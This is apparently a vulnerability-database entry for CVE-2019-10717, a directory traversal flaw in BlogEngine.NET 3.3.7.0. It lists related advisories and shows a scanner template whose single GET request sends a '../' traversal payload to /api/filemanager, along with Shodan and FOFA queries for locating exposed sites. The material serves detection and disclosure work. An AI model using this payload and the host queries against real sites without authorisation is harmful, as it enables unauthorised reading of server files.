BlogEngine.NET 3.3.7.0 - Local File Inclusion
| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
 | BlogEngine.NET 3.3.6/3.3.7 - (path) Directory Traversal Vulnerability | 26 Jun 201900:00 | – | zdt |
 | BlogEngine path traversal vulnerability (CNVD-2019-21427) | 5 Jul 201900:00 | – | cnvd |
 | CVE-2019-10717 | 3 Jul 201915:40 | – | cve |
 | CVE-2019-10717 | 3 Jul 201915:40 | – | cvelist |
 | BlogEngine.NET 3.3.6/3.3.7 - 'path' Directory Traversal | 25 Jun 201900:00 | – | exploitdb |
 | BlogEngine.NET 3.3.63.3.7 - path Directory Traversal | 25 Jun 201900:00 | – | exploitpack |
 | CVE-2019-10717 | 3 Jul 201916:15 | – | nvd |
 | BlogEngine.NET 3.3.6 / 3.3.7 path Directory Traversal | 25 Jun 201900:00 | – | packetstorm |
 | Directory traversal | 3 Jul 201916:15 | – | prion |
 | CVE-2019-10717: Improper Limitation of a Pathname to a Restricted Directory | 3 Jul 201900:00 | – | rapid7 |
10
id: CVE-2019-10717
info:
name: BlogEngine.NET 3.3.7.0 - Local File Inclusion
author: arafatansari
severity: high
description: |
BlogEngine.NET 3.3.7.0 allows /api/filemanager local file inclusion via the path parameter
impact: |
An attacker can exploit this vulnerability to read sensitive files, execute arbitrary code, or launch further attacks.
remediation: |
Upgrade to a patched version of BlogEngine.NET or apply the vendor-supplied patch to mitigate this vulnerability.
reference:
- https://www.securitymetrics.com/blog/Blogenginenet-Directory-Traversal-Listing-Login-Page-Unvalidated-Redirect
- https://github.com/rxtur/BlogEngine.NET/commits/master
- https://nvd.nist.gov/vuln/detail/CVE-2019-10717
- http://seclists.org/fulldisclosure/2019/Jun/44
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N
cvss-score: 7.1
cve-id: CVE-2019-10717
cwe-id: CWE-22
epss-score: 0.05399
epss-percentile: 0.9241
cpe: cpe:2.3:a:dotnetblogengine:blogengine.net:3.3.7.0:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: dotnetblogengine
product: blogengine.net
shodan-query:
- http.html:"Blogengine.net"
- http.html:"blogengine.net"
fofa-query: body="blogengine.net"
tags: cve,cve2019,seclists,blogengine,lfi,traversal,dotnetblogengine,vuln
http:
- method: GET
path:
- "{{BaseURL}}/api/filemanager?path=%2F..%2f..%2fContent"
matchers-condition: and
matchers:
- type: word
part: header
words:
- "application/json"
- type: regex
regex:
- '~/App_Data/files/../../([a-zA-Z0-9\.\-]+)/([a-z0-9]+)'
- type: status
status:
- 200
# digest: 490a004630440220176d643bd2e0858eabf8f3fb9ffa0bf2587fdbe450b2e1db94e3a91c970f9e0202204ecb7d4801751b24f51a2d7d2cc0c387b34f8122fb42b9e8cc13e40f77e4dcd3:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
04 Feb 2026 07:00Current
7High risk
Vulners AI Score7
CVSS 25.5
CVSS 37.1
EPSS0.05399